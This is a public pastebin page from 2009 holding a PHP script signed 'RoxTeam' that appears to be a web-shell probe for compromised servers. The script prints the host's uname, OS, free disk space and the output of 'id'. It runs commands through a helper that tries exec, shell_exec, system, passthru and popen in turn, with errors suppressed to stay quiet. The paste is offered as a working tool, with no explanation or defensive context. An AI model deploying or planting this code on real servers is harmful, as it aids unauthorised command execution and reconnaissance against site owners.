Guest
Public paste!

keniobats

By: a guest | Nov 2nd, 2009 | Syntax: PHP | Size: 1.42 KB | Hits: 127 | Expires: Never
Copy text to clipboard
  1. <?
  2.  
  3. $dir = @getcwd();
  4.  
  5. echo "RoxTeam<br>";
  6.  
  7. $un = @php_uname();
  8.  
  9. echo "uname -a: $un<br>";
  10.  
  11. $OS = @PHP_OS;
  12.  
  13. echo "OSTYPE:$OS<br>";
  14.  
  15. $free = disk_free_space($dir);
  16.  
  17.  
  18.  
  19. if ($free === FALSE) {$free = 0;}
  20.  
  21.  
  22.  
  23. if ($free < 0) {$free = 0;}
  24.  
  25. echo "Free:".view_size($free)."<br>";
  26.  
  27.  
  28.  
  29. $cmd="id";
  30.  
  31. $eseguicmd=ex($cmd);
  32.  
  33. echo $eseguicmd;
  34.  
  35.  
  36.  
  37. function ex($cfe){
  38.  
  39. $res = '';
  40.  
  41. if (!empty($cfe)){
  42.  
  43. if(function_exists('exec')){
  44.  
  45. @exec($cfe,$res);
  46.  
  47. $res = join("\n",$res);
  48.  
  49. }
  50.  
  51. elseif(function_exists('shell_exec')){
  52.  
  53. $res = @shell_exec($cfe);
  54.  
  55. }
  56.  
  57. elseif(function_exists('system')){
  58.  
  59.  
  60. @system($cfe);
  61.  
  62. $res = @ob_get_contents();
  63.  
  64.  
  65. }
  66.  
  67. elseif(function_exists('passthru')){
  68.  
  69.  
  70. @passthru($cfe);
  71.  
  72. $res = @ob_get_contents();
  73.  
  74.  
  75. }
  76.  
  77. elseif(@is_resource($f = @popen($cfe,"r"))){
  78.  
  79. $res = "";
  80.  
  81. while(!@feof($f)) { $res .= @fread($f,1024); }
  82.  
  83. @pclose($f);
  84.  
  85. }}
  86.  
  87. return $res;
  88.  
  89. }
  90.  
  91.  
  92.  
  93. function view_size($size)
  94.  
  95.  
  96.  
  97. {
  98.  
  99.  
  100.  
  101.  if (!is_numeric($size)) {return FALSE;}
  102.  
  103.  
  104.  
  105.  else
  106.  
  107.  
  108.  
  109.  {
  110.  
  111.  
  112.  
  113.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  114.  
  115.  
  116.  
  117.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  118.  
  119.  
  120.  
  121.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  122.  
  123.  
  124.  
  125.   else {$size = $size . " B";}
  126.  
  127.  
  128.  
  129.   return $size;
  130.  
  131.  
  132.  
  133.  }
  134.  
  135.  
  136.  
  137. }
  138.  
  139.  
  140.  
  141. ?>